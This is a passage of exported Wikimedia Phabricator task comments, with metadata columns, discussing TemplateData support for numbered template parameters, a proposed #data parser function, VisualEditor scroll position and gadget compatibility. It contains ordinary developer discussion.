We would also have to think carefully about what to do with templates etc. inside #data parser functions. If template expansion inside #data parser functions worked the same way that it did in normal wikitext, it would be difficult to make #data work well in VisualEditor. But perhaps it can be made to work in the same way that VE handles other instances of templates in template parameters.",,,1410099057,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,61,,0.25,0.375,0.0,0.75,0.0,3.625,1.125,0.0,0.0,0.125,1.875,0.125,0.0,0.125,0.125,1.875,0.125,3.875,9.0,0.375,2.125,0.0,0.0,0.0,0.375,0.125,0.0,0.375,1.25,1.5,0.25,2.125,0.5,1.0,0.75,0.125,0.125,0.0,0.75,0.125,0.125,0.125,0.0,0.875,0.125,0.75,0.25,0.25,0.25,16.25,1.25,0.5,0.0,0.0,0.375,0.125,0.0,0.0,0.625,0.0,0.5,0.375,0.125,0.0,0.375,0.25,0.125,3.0,2.0,9.0,0.625,1.25,4.875,0.0,0.0,0.0,1.5,5.0,0.125,0.5,0.0,3.125,9.0,5.25,0.0,3.0,0.0,3.125,0.0,0.75,1.25,0.25,1.125,0.0,0.0,0.625,3.400217058222676,0.6195895045965271,"(In reply to NicoV from comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

One way to deal with this could be to pass JSON blobs into template parameters. So you could have:

{{cite web
| authors = { ""last"": ""Smith"", ""first"": ""John"" }, { ""last"": ""Doe"", ""first"": ""Jane"" }
}}

This is nice from a Lua perspective, but it would be confusing for users. Mixing template syntax with JSON syntax seems ugly, and probably only a select few editors will be capable of entering syntactically correct JSON into template parameters.

The established way of doing something like this is to use a sub-template. So we would have something like:

{{cite web
| authors = {{author|last=Smith|first=John}}, {{author|last=Doe|first=Jane}}
}}

One problem with this is that the {{author}} templates are expanded before they are passed to Lua, so we lose data granularity. To solve this, we can use Lua to make the {{author}} templates output JSON and then read that JSON from the Lua module implementing {{cite web}}. But then to guarantee that we get clean JSON code we would need to make a template structure like this:

{{cite web
| authors = {{author list | {{author|last=Smith|first=John}} | {{author|last=Doe|first=Jane}} }}
}}

With this we have data grouping that can be reliably processed by Lua and that editors used to using wikitext will find intuitive. However, this would be hard for VisualEditor etc. to process and display to users in a meaningful way, as there is no guarantee how the {{author list}} and {{author}} templates will be implemented on any given wiki. So, instead of using Lua to create the JSON, we could do it in PHP using a new parser function. (I suggest ""#data"".) That would give us the following: 

{{cite web
| authors = {{#data: {{#data:last=Smith|first=John}} | {{#data:last=Doe|first=Jane}} }}
}}

This would give us a data structure that could be reliably parsed from VisualEditor, as well as the other benefits mentioned above. Perhaps it could displayed as a dynamically generated data tree (I'm thinking about something like json2html, but editable).

URL

We would need to be careful about bad input:

{{cite web
| authors = foo {{#data: bar {{#data:last=Smith|first=John}} | {{#data:last=Doe|first=Jane}} baz }}
}}

To sanitise this, we could make the #data implementation throw an error (perhaps like a cite.php error) for ""bar"" and ""baz"" in this example. For ""foo"", we could leave it to the Lua module to properly validate the input.

We would also have to think carefully about what to do with templates etc. inside #data parser functions. If template expansion inside #data parser functions worked the same way that it did in normal wikitext, it would be difficult to make #data work well in VisualEditor. But perhaps it can be made to work in the same way that VE handles other instances of templates in template parameters."
242537,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"(In reply to Krinkle from comment #4)
> Especially now that we have Lua, specifying a parameter as taking a list
> seems more sensible (e.g. comma separated, line-break separated, whatever).
> Even if a template isn't converted to Lua yet, it could make use of a
> generic Lua module to do the string split and iteration.

This solution would be awkward when several parameters are related one to each other. For example, on the cite templates, you usually have several fields for each author (first name, last name, page link, ...) and they are easier to manage for a user if they are grouped.
With lists, users would have to be careful and to be sure that several lists are coherent between each other.",,,1392795486,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,33,,6.0,0.0,0.0,2.0,0.0,12.0,5.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,9.0,3.0,2.0,6.0,0.0,0.0,0.0,1.0,5.0,0.0,2.0,0.0,3.0,15.0,3.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,3.757575757575758,0.6262626262626263,"(In reply to Krinkle from comment #4)
QUOTE
QUOTE
QUOTE
QUOTE

This solution would be awkward when several parameters are related one to each other. For example, on the cite templates, you usually have several fields for each author (first name, last name, page link, ...) and they are easier to manage for a user if they are grouped.
With lists, users would have to be careful and to be sure that several lists are coherent between each other."
242534,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"The foo1, foo2, foo3 etc. model exists in many templates, however in most cases the limit is quite low (when converted to Lua a user might have dropped the limit, no sure that is a good pattern). Only in cases where the value is for e.g. a table row do they have a high limit (up to 500 seems common).

e.g. 

{{Something
|row1=..
|row2=..
|row3=..
|=..

such as {{TemplateBox@commons.wikimedia.org
|p1=..
|p2=..
|p3=..
|..

However both for VisualEditor, TemplateData and any other modern program or programming language it is very visible that such dynamically named parameters are an unwanted pattern that should not be encouraged. It is hard to work with and only has downsides over alternatives (e.g. hard to re-order, requires hacks to implement in wikitext and lua, hard to document, hard to use).

Especially now that we have Lua, specifying a parameter as taking a list seems more sensible (e.g. comma separated, line-break separated, whatever). Even if a template isn't converted to Lua yet, it could make use of a generic Lua module to do the string split and iteration.

Also, in the interest of not implementing too soon and get stuck in a corner, I'd like to wait for VisualEditor to catch up with the features we've already recently added to TemplateData and see how those work out.",,,1381079832,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,True,,,13,,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.0,6.0,2.0,0.0,0.0,0.3333333333333333,4.666666666666667,1.0,0.0,0.6666666666666666,0.0,1.0,1.0,9.666666666666666,12.0,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,5.666666666666667,0.3333333333333333,1.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,11.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,5.666666666666667,2.6666666666666665,6.0,2.0,2.3333333333333335,7.666666666666667,0.0,0.0,0.0,0.0,5.0,0.6666666666666666,0.3333333333333333,0.0,2.3333333333333335,12.0,8.0,0.0,0.0,0.0,2.3333333333333335,0.0,1.6666666666666667,3.3333333333333335,0.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.8562523329600595,0.7246360582306831,"The foo1, foo2, foo3 etc. model exists in many templates, however in most cases the limit is quite low (when converted to Lua a user might have dropped the limit, no sure that is a good pattern). Only in cases where the value is for e.g. a table row do they have a high limit (up to 500 seems common).

e.g. 

{{Something
|row1=..
|row2=..
|row3=..
|=..

such as {{TemplateBox@commons.wikimedia.org
|p1=..
|p2=..
|p3=..
|..

However both for VisualEditor, TemplateData and any other modern program or programming language it is very visible that such dynamically named parameters are an unwanted pattern that should not be encouraged. It is hard to work with and only has downsides over alternatives (e.g. hard to re-order, requires hacks to implement in wikitext and lua, hard to document, hard to use).

Especially now that we have Lua, specifying a parameter as taking a list seems more sensible (e.g. comma separated, line-break separated, whatever). Even if a template isn't converted to Lua yet, it could make use of a generic Lua module to do the string split and iteration.

Also, in the interest of not implementing too soon and get stuck in a corner, I'd like to wait for VisualEditor to catch up with the features we've already recently added to TemplateData and see how those work out."
242531,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"This proposal is based mostly on the idea that if TemplateData exists for a template, then editors should not be permitted to add any parameters that are not already in TemplateData.  

Rather than coding a variety of flexible naming/numbering schemes, it might make more sense to have a way to specify that a given template accepts (or does not accept) whatever parameters the editor chooses to name, regardless of what's in TemplateData.  If the TemplateData is complete and no unlisted parameters are useable, then editors could not add others.  If the TemplateData is incomplete, or if the number of parameters is unbounded, then editors could add whatever they wanted.",,,1375983254,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,5,,0.5,0.0,0.0,1.0,2.5,5.0,3.0,0.0,0.0,3.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,2.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,7.5,2.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,12.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,1.0,5.5,4.5,6.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,1.5,11.0,3.5,0.0,0.0,0.0,1.5,0.0,3.0,2.0,0.0,0.5,0.5,0.0,0.0,4.449404761904762,0.7315228174603174,"This proposal is based mostly on the idea that if TemplateData exists for a template, then editors should not be permitted to add any parameters that are not already in TemplateData.  

Rather than coding a variety of flexible naming/numbering schemes, it might make more sense to have a way to specify that a given template accepts (or does not accept) whatever parameters the editor chooses to name, regardless of what's in TemplateData.  If the TemplateData is complete and no unlisted parameters are useable, then editors could not add others.  If the TemplateData is incomplete, or if the number of parameters is unbounded, then editors could add whatever they wanted."
242526,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"In the module code they use # to represent a number placeholder.
numbered_arguments = {
    ['author#'] = true,
    ['Author#'] = true,
    ['author-first#'] = true,
    ['author#-first'] = true,
    ['author-last#'] = true,
    ['author#-last'] = true,
...
}
As you can see the number can be in various places.

http://en.wikipedia.org/wiki/Module:Citation/CS1/Whitelist",,,1375823227,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,4.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,1.0,0.0,3.0,4.0,1.0,0.0,12.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,10.0,2.86734693877551,0.42857142857142855,"In the module code they use # to represent a number placeholder.
numbered_arguments = {
    ['author#'] = true,
    ['Author#'] = true,
    ['author-first#'] = true,
    ['author#-first'] = true,
    ['author-last#'] = true,
    ['author#-last'] = true,
...
}
As you can see the number can be in various places.

URL"
242523,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"When implemented, this should also accept an empty string as the ""base"" (""author"" in original example above) to apply to unnamed (positional) parameters. Would be useful for some templates like [[pl:Template:Dopracować]] which currently can't be properly described using TemplateData.",,,1375805699,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,True,,,5,,2.0,0.0,0.0,2.0,2.0,8.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,5.0,4.169491525423729,0.8135593220338984,"When implemented, this should also accept an empty string as the ""base"" (""author"" in original example above) to apply to unnamed (positional) parameters. Would be useful for some templates like [[pl:Template:Dopracować]] which currently can't be properly described using TemplateData."
54577,VisualEditor: Scroll to the user's position when VE is invoked via shortcut (Ctrl+Alt+V),"I don't know if this is possible, or if it's been requested elsewhese, but a few users on the French-language Wikipedia have suggested that, when the user has scrolled through the page and invoked VisualEditor via the keyboard shortcut, VE should automatically scroll to that same position on the page when it opens (similarly to what the section edit link does).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53217",Medium,50.0,1375799880,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-pe6m5b3pbhmfcnu7uep4,task_description,open,True,c1,3,False,False,,5,,1.0,0.0,0.0,1.0,1.0,5.0,1.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,9.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,13.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,2.0,0.0,1.0,1.0,0.0,0.0,7.0,2.0,10.0,5.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.97,0.69,"I don't know if this is possible, or if it's been requested elsewhese, but a few users on the French-language Wikipedia have suggested that, when the user has scrolled through the page and invoked VisualEditor via the keyboard shortcut, VE should automatically scroll to that same position on the page when it opens (similarly to what the section edit link does).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
1988945,VisualEditor: Scroll to the user's position when VE is invoked via shortcut (Ctrl+Alt+V),We've done the complicated part of this in T293158.,,,1663959026,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pe6m5b3pbhmfcnu7uep4,task_subcomment,,True,c1,3,True,,,481,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,1.0,We've done the complicated part of this in T293158.
692844,VisualEditor: Scroll to the user's position when VE is invoked via shortcut (Ctrl+Alt+V),"The complication here is that while the VE view is similar to the read mode, it is not identical, so scrolling to the same pixel offset will not necessarily leave you at the same place. We could do an approximation by finding the nearest section heading and it's pixel offset from the top.",,,1468335875,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pe6m5b3pbhmfcnu7uep4,task_subcomment,,True,c1,3,True,,,158,,0.0,0.0,0.0,0.0,3.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,7.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,5.0,5.0,3.0,2.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,12.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,4.086206896551724,0.7413793103448276,"The complication here is that while the VE view is similar to the read mode, it is not identical, so scrolling to the same pixel offset will not necessarily leave you at the same place. We could do an approximation by finding the nearest section heading and it's pixel offset from the top."
242255,VisualEditor: Scroll to the user's position when VE is invoked via shortcut (Ctrl+Alt+V),"**misc2006** wrote:

This should always be the case, no matter how the editor is invoked. ""User's position"" when the editor is opened should be *exactly* the same as before. Use case: I want to fix a simple spelling error, so I click on the edit link on the paragraph. Often, the content has now scrolled up/down a bit and I need to find the location of the spelling error again. This is surprisingly difficult/annoying (just give it a try).",,,1405932609,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pe6m5b3pbhmfcnu7uep4,task_subcomment,,True,c1,3,False,,,55,,0.0,0.0,0.0,1.0,0.0,3.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,8.5,7.5,0.0,1.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,11.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,9.0,3.0,6.0,2.0,1.0,10.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.5,7.5,2.0,0.0,1.0,0.0,3.5,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,3.4675253991291726,0.7336719883889695,"**misc2006** wrote:

This should always be the case, no matter how the editor is invoked. ""User's position"" when the editor is opened should be *exactly* the same as before. Use case: I want to fix a simple spelling error, so I click on the edit link on the paragraph. Often, the content has now scrolled up/down a bit and I need to find the location of the spelling error again. This is surprisingly difficult/annoying (just give it a try)."
54576,"VisualEditor: Repetition of the parameter (""box"") icon in the transclusion dialog is a bit heavy","<< Icons can be useful to help a user navigate an interface, however in the transclusion dialog, the same box-shaped icon with the thick left border is shown so many times (when editing a template with more than a few parameters) that it is obnoxious. Almost every occurrence should be removed, keeping it displayed at at most one or two places.--[[User:Wouterstomp|WS]] ([[User talk:Wouterstomp|talk]]) 11:22, 6 August 2013 (UTC) >>

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49833",Medium,50.0,1375794000,1394072888.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-tb2wtwoarrokjafpdi3e,task_description,resolved,True,c1,3,False,False,False,5,,1.5,0.0,0.0,1.0,0.0,5.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,5.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.5,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,9.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,2.5,0.0,4.0,0.0,1.5,5.0,2.5,0.0,0.0,0.0,1.5,0.0,0.5,2.0,0.0,1.0,0.5,1.0,4.5,3.7131147540983607,0.7049180327868853,"<< Icons can be useful to help a user navigate an interface, however in the transclusion dialog, the same box-shaped icon with the thick left border is shown so many times (when editing a template with more than a few parameters) that it is obnoxious. Almost every occurrence should be removed, keeping it displayed at at most one or two places.--[[User:Wouterstomp|WS]] ([[User talk:Wouterstomp|talk]]) 11:22, 6 August 2013 (UTC) >>

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
242208,"VisualEditor: Repetition of the parameter (""box"") icon in the transclusion dialog is a bit heavy",I disagree with this - the icon is used to identify which elements are parameters. Particularly in future they may be contrasted with sub-items such as images or sub-templates that are included in parameters but separately editable within the transclusion editor.,,,1375795854,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-tb2wtwoarrokjafpdi3e,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,26.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,9.0,4.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.74468085106383,0.8085106382978723,I disagree with this - the icon is used to identify which elements are parameters. Particularly in future they may be contrasted with sub-items such as images or sub-templates that are included in parameters but separately editable within the transclusion editor.
54562,Gadgets: Add support to understand whether a gadget supports VisualEditor (or another feature?) and allow it to be greyed out,"[15:52] <T13> VE Question.  How is VE currently set up to handle users that have opted-in to gadgets that modify the editing window such as wikEd?
...
[15:54] <T13> Do those gadgets still load even though the hooks they use don't exist? Shouldn't having VE enabled disable those gadgets and grey out the optiobs for them in the gadgets tab of preferences?
[15:56] <T13> I'm guessing some of the ""VE"" bugs are caused by these gadgets trying to do what they no longer can.
...
[16:06] <mooeypoo> T13: I think most of the edit-related gadgets work on the action=edit condition, and ve goes with action=vedit
[16:07] <mooeypoo> but I am not sure :) you'll be safer getting the answer from the VE team
[16:09] <MatmaRex> T13: i'm not on the team, but i'm pretty sure that's the reason
[16:10] <MatmaRex> T13: basically there are two ways to detect if we're inedit mode - either look if 'action' is 'edit' or 'submit', or look for some elements that are parts of theedit form, like #wpTextbox1 (the main textbox)
[16:10] <MatmaRex> VE avoids them both
[16:11] <T13> I've seen questions on WP:THQ with a link to a screenshot of wikEd and the user thinking they were using VE.  So, I was curious how it was handled.
[16:11] <T13> I'll add the suggestion to gray out the unusable with VE gadgets 
[16:11] <mooeypoo> Ah, *that* kind of user errors. Hm. Not sure how you can handle those other than politely correct the user's false assumption
[16:11] <T13> On Bugzilla...

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1375737720,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,False,PHID-TASK-u3h65rxvz452mowrmajb,task_description,open,True,c1,3,False,False,,5,,0.5,0.0,0.0,0.5,1.25,3.0,0.75,0.0,0.25,0.5,0.75,3.75,0.0,0.0,0.25,2.25,0.0,4.25,8.75,0.0,1.0,0.25,0.0,0.0,0.75,0.0,0.0,0.0,0.5,0.5,0.5,5.75,1.25,0.25,0.5,0.5,0.0,0.0,0.25,0.0,0.0,1.25,0.0,2.75,0.25,0.5,0.0,0.75,0.0,11.0,0.0,1.25,0.25,0.25,0.0,0.0,0.25,0.5,0.25,0.0,0.5,0.5,0.0,0.25,0.0,0.75,0.0,4.5,2.5,10.0,1.5,2.0,6.75,0.0,0.25,0.0,0.25,3.5,0.5,3.25,0.0,4.25,8.75,6.0,0.75,2.0,0.0,4.25,0.0,1.75,0.5,0.5,1.5,0.5,0.25,10.25,3.3205606985062066,0.6743372606774669,"[15:52] <T13> VE Question.  How is VE currently set up to handle users that have opted-in to gadgets that modify the editing window such as wikEd?
...
[15:54] <T13> Do those gadgets still load even though the hooks they use don't exist? Shouldn't having VE enabled disable those gadgets and grey out the optiobs for them in the gadgets tab of preferences?
[15:56] <T13> I'm guessing some of the ""VE"" bugs are caused by these gadgets trying to do what they no longer can.
...
[16:06] <mooeypoo> T13: I think most of the edit-related gadgets work on the action=edit condition, and ve goes with action=vedit
[16:07] <mooeypoo> but I am not sure :) you'll be safer getting the answer from the VE team
[16:09] <MatmaRex> T13: i'm not on the team, but i'm pretty sure that's the reason
[16:10] <MatmaRex> T13: basically there are two ways to detect if we're inedit mode - either look if 'action' is 'edit' or 'submit', or look for some elements that are parts of theedit form, like #wpTextbox1 (the main textbox)
[16:10] <MatmaRex> VE avoids them both
[16:11] <T13> I've seen questions on WP:THQ with a link to a screenshot of wikEd and the user thinking they were using VE.  So, I was curious how it was handled.
[16:11] <T13> I'll add the suggestion to gray out the unusable with VE gadgets 
[16:11] <mooeypoo> Ah, *that* kind of user errors. Hm. Not sure how you can handle those other than politely correct the user's false assumption
[16:11] <T13> On Bugzilla...

--------------------------
**Version**: unspecified
**Severity**: enhancement"
241362,Gadgets: Add support to understand whether a gadget supports VisualEditor (or another feature?) and allow it to be greyed out,"Hmm. Not totally convinced by this - (a) because this is inherently transitional as gadgets are updated to work with VisualEditor, and (b) because disabling gadgets that work fine, just not in all places, seems a bit unfair. Re-titling and moving to the Gadgets pile, however.",,,1383282348,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u3h65rxvz452mowrmajb,task_subcomment,,True,c1,3,True,,,17,,2.0,0.0,2.0,2.0,3.0,5.0,2.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,8.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,3.0,3.9152542372881354,0.7457627118644068,"Hmm. Not totally convinced by this - (a) because this is inherently transitional as gadgets are updated to work with VisualEditor, and (b) because disabling gadgets that work fine, just not in all places, seems a bit unfair. Re-titling and moving to the Gadgets pile, however."
241356,Gadgets: Add support to understand whether a gadget supports VisualEditor (or another feature?) and allow it to be greyed out,"Working links:

https://commons.wikimedia.org/wiki/File:Special_Preferences_mw-prefsection-gadgets_(current).png

https://commons.wikimedia.org/wiki/File:Special_Preferences_mw-prefsection-gadgets_(proposed).png",,,1377871417,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-u3h65rxvz452mowrmajb,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.2857142857142856,0.7142857142857143,"Working links:

URL

URL"
241350,Gadgets: Add support to understand whether a gadget supports VisualEditor (or another feature?) and allow it to be greyed out,"(In reply to comment #1)
> Not sure what the bug is, here?
> 
> Gadgets can be written to work with VisualEditor, but gadgets not written to
> do so won't work, and dated (and so now misleading) advertising on behalf of
> these gadgets that it works with ""the editor"" will confuse people.
> 
> As normal, gadget authors and maintainers should make sure that they re-label
> their gadgets to avoid this confusion.
> 
> Or am I missing something?

I'm sorry James, I missed your question.  I've uploaded a couple screenshots of what I'm thinking (although I'm thinking this may require a change in the gadgets extension first on second thought).

Currently, the ""Editing"" section of the gadgets tab on enwp looks like:
   [[commons:File:Special_Preferences_mw-prefsection-gadgets_%28current%29.png]]

What I'm proposing, is that when VisualEditor is active for the user, it should look like:
   [[commons:File:Special_Preferences_mw-prefsection-gadgets_%28proposed%29.png]]

